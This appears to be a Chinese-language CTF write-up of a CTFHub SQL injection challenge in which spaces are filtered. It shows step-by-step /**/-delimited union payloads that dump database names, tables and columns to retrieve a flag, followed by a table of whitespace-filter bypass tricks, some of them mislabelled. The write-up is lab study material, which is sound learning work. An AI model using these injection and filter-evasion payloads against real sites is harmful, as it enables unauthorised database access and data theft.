0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
过滤空格:
(无)
![](https://i-blog.csdnimg.cn/blog_migrate/c4abe765ea391dba6d0d122bd365eacc.png)
0x02 解题过程
根据网页显示内容提示,这题关于过滤空格注入,此题和其他的注入手法一致,只不过需要在网页 URL 中对 payload 语句中的空格符号进行过滤,判断发现此题存在过滤空格注入,接着判断字段数量,查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。
Ⅰ根据题目描述输入1,并构造payload and 1 = 1,发现页面提示Hacker!!!
and 1 = 1
Ⅱ根据题目提示需要对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤
/**/and/**/1/**/=/**/1
Ⅲ继续构造payload语句,发现等于2时回显错误,说明此题存在过滤空格注入
/**/and/**/1/**/=/**/2
Ⅳ直接使用order by 判断字段数量,从/**/order/**/by/**/1开始
/**/order/**/by/**/1
Ⅴ判断字段2,使用/**/order/**/by/**/2
/**/order/**/by/**/2
Ⅵ判断字段3,使用order by 3,这里无回显,那么字段数量为2列
/**/order/**/by/**/3
Ⅶ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
/**/union/**/select/**/1,2
Ⅷ判断数据可能不存在数据库中,在id=1中加入负号查看数据,其他符号也可以
id=-1/**/union/**/select/**/1,2
Ⅸ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
/**/union/**/select/**/1,version()
Ⅹ修改2为database(),查看数据库名,发现数据库版本为sqli
/**/union/**/select/**/1,database()
ⅩⅠ查看全部数据库名
/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata
ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现lrfbovgrtq和news两个表名
/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
ⅩⅢ先查看lrfbovgrtq表中的全部字段名,发现一个数据名为ntzwkdyzie
/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='lrfbovgrtq'
ⅩⅣ查看数据ntzwkdyzie中的内容,发现此题flag
/**/union/**/select/**/1,group_concat(ntzwkdyzie)/**/from/**/sqli.lrfbovgrtq
0x03 常见过滤方法
方法 | 使用 | 说明 |
注释过滤 | /**/、/*!*/、//、#、-- | /**/union/**/select/**/1,2 |
括号过滤 | () | (union)select(1,2) |
符号过滤 | %00、%09、%20、%a0 %0a、%0b、%0c、%0d | %a0union%a0select%a01,2 |
引号过滤 | ' 、 " | union select '1', '2' |
大小写过滤 | 大小写 | /**/UnIoN/**/SeLeCt/**/1, 2 |
双关键字绕过 | '+' | uni'+'on sel'+'ect 1,2# |
正则表达式绕过 | \s、\s* | union\s+select\s+1\s*,\s*2 |
注意:\s+ 表示匹配一个或多个空白字符,\s* 表示匹配零个或多个空白字符。
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。